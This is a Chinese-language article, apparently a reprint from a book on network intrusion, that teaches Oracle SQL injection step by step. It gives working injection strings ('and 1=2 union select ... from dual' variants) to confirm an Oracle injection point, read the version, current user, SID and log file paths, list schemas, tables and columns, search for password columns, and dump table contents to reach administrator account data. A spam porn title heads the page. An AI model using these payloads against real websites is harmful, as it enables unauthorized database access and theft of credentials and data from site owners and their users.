自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Oracle注入點信息基本檢測

安全 應用安全
與MySQL一樣,可利用Oracle系統(tǒng)表直接爆出數(shù)據(jù)庫中的所有內容。Oracle中存在dual系統(tǒng)表,其中存儲了數(shù)據(jù)庫名、表名、字段名等信息,直接針對此表進行注入攻擊可獲得整個數(shù)據(jù)庫的結構,從而方便查詢到管理員帳號數(shù)據(jù)信息。

Oracle注入點信息基本檢測

對于Oracle注入點的檢測比較特殊,不像其它注入點一樣,需要經(jīng)過多個步驟檢測確認注入點所使用的數(shù)據(jù)庫類型是否為Oracle。

Oracle注入點判斷

首先,需要判斷是否為Oracle注入點,可提交如下幾步查詢:

and 1=1

and 1=2

返回不一樣的頁面,則說明存在注入漏洞,繼續(xù)在注入點處提交如下查詢字符:

/*

"/*"是MySQL中的注釋符,返回錯誤說明該注入點不是MySQL,繼續(xù)提交如下查詢字符:

--

"--"是Oracle和MSSQL支持的注釋符,如果返回正常,則說明為這兩種數(shù)據(jù)庫類型之一。繼續(xù)提交如下查詢字符:

;

";"是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數(shù)據(jù)庫。再提交如下查詢:

and exists(select * from dual)

and (select count (*) from user_tables)>0--

dual和user_tables是Oracle中的系統(tǒng)表,如果返回正常頁面,則可以確定是Oracle注入點。

注入點信息判斷

確定注入點類型后,與前面的MySQL注入一樣,先用Order by x猜出字段數(shù)目,再用聯(lián)合查詢union select方法得獲取想要的信息。

最主要的信息是數(shù)據(jù)庫版本,可利用(select banner from sys.v_$version where rownum=1)獲取版本信息,例如:

and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual

獲取當前數(shù)據(jù)庫連接用戶名,可執(zhí)行如下查詢:

and 1=2 union select 1,2,3,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),4,5…… from dual

執(zhí)行如下查詢:

and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual

通過查詢日志文件絕對路徑,可以判斷操作系統(tǒng)平臺。

另外,要獲取服務器sid,可執(zhí)行如下查詢:

and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual

利用Oracle系統(tǒng)表爆數(shù)據(jù)庫內容

與MySQL一樣,可利用Oracle系統(tǒng)表直接爆出數(shù)據(jù)庫中的所有內容。Oracle中存在dual系統(tǒng)表,其中存儲了數(shù)據(jù)庫名、表名、字段名等信息,直接針對此表進行注入攻擊可獲得整個數(shù)據(jù)庫的結構,從而方便查詢到管理員帳號數(shù)據(jù)信息。

爆出庫名

在注入點處提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual

可查詢爆出中第一個庫名,然后繼續(xù)查詢提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第一個庫名'),4,5…… from dual

用同樣的方法,可以查詢出當前用戶數(shù)據(jù)庫中的所有數(shù)據(jù)庫庫名。#p#

獲取表名

在注入點處提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual

可查詢數(shù)據(jù)庫中第一個表,然后繼續(xù)查詢提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第一個表名'),4,5…… from dual

注意,表名要用大寫或大寫的16進制代碼。用同樣的方法,可以查詢出當前用戶數(shù)據(jù)庫中的所有表名。

另外,也可以采用與前面MSSQL注入相似的方法,直接包含pass的表名,提交查詢如下:

and (select column_name from user_tab_columns where column_name like'%25pass%25')>0

如果返回頁面正常的話,則說明當前數(shù)據(jù)庫中有包含pass的表名。再提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual

即可得到包含pass的表名。

獲取字段名

在注入點處提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual

可獲取指定中第一個字段。然后繼續(xù)查詢提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1個字段名' and rownum=1),4,5…… from dual

即可獲取指定表中第二個字段。用同樣的方法,可以查詢出指定表中的所有字段名。

獲取字段內容

在注入點處提交:

and 1=2 union select 1,2,3,字段名,4,5…… from 表名

即可查詢出目標表里面的相應字段內容,以此類推,可以獲取表中的所有字段內容。

【編輯推薦】

  1. JSP+ORACLE注入方法整理v1.0
  2. Oracle注射技術——Oracle+nc注射
  3. Oracle數(shù)據(jù)庫內部安全威脅:審計特權用戶
  4. Oracle listener程序所存在安全漏洞有哪些?
責任編輯:佟健 來源: 《大中型網(wǎng)絡入侵要案》
相關推薦

2010-04-13 14:35:17

2010-04-21 10:10:35

Oracle企業(yè)項目管

2010-11-01 17:30:01

2010-04-19 14:01:22

Oracle查看分區(qū)表

2023-12-01 16:21:42

2010-04-13 14:36:17

Oracle性能檢測

2011-10-11 10:49:25

Oracle

2018-10-12 11:26:13

oracle存儲語法

2018-08-28 11:40:47

存儲過程語法

2010-04-06 10:32:12

Oracle遞歸查詢

2010-03-16 14:48:24

Java線程檢測

2019-07-10 10:40:10

Linux庫注入命令

2010-09-08 13:10:03

2010-04-23 14:48:26

Oracle性能優(yōu)化

2017-02-09 11:47:33

2019-08-15 07:08:03

Oracle數(shù)據(jù)安全SHA碼

2021-10-26 00:10:18

信息EnvoyServiceEntr

2009-12-16 17:58:18

2010-04-22 09:36:56

Oracle數(shù)據(jù)字典

2011-04-07 12:52:05

Oracle數(shù)據(jù)庫
點贊
收藏

51CTO技術棧公眾號